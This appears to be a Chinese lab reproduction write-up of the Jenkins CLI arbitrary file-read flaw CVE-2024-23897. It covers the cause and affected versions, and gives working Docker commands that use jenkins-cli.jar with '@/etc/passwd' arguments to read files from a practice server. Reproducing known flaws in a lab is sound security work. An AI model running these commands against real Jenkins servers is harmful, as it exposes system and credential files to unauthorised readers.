Jenkins CLI 接口任意文件读取漏洞(CVE-2024-23897)
概述
Jenkins 是一个开源的 持续集成和持续交付(CI/CD) 工具,用于自动化软件开发过程中的构建、测试、部署等任务。它通过插件化的架构支持广泛的功能扩展,是 DevOps 实践中的核心工具之一。
Jenkins 提供了一个 命令行界面(CLI),用户可以下载该客户端 jenkins-cli.jar
到本地,并调用该客户端来执行一些 Jenkins 的命令。
Jenkins 2.441 及更早版本、LTS 2.426.2 及更早版本,Jenkins 在处理 CLI 命令时,命令行是传到服务端解析的,同时服务器使用 args4j 库 来解析 Jenkins 主服务器上的命令参数和选项。但此命令解析器具有一项功能,如果一个参数是以 @
开头,那么这个参数就会被认为是一个文件名,文件内容会被作为参数而读取,同时该功能是默认开启的,所以可以允许未授权的攻击者读取 Jenkins 控制器文件系统上的任意文件。
参考文章:https://www.freebuf.com/articles/neopoints/391038.html
漏洞复现
该脚本需利用官方提供的命令行客户端。
访问如下路径,下载命令行客户端。
http://192.168.43.50:8081/jnlpJars/jenkins-cli.jar
此时利用客户端进行获取信息。
该客户端需要使用 JDK11 方可运行。
此处使用 docker 运行 JDK11。
docker run --rm -v $(pwd):/tmp openjdk:11.0.1-jre bash -c "cd /tmp && java -jar jenkins-cli.jar -s http://192.168.43.50:8081/ -http help 1 @/etc/passwd"
因为靶场开启了 匿名用户可读选项,可以使用 connect-node
命令读取完整内容。
docker run --rm -v $(pwd):/tmp openjdk:11.0.1-jre bash -c "cd /tmp && java -jar jenkins-cli.jar -s http://192.168.43.50:8081/ -http connect-node @/etc/passwd"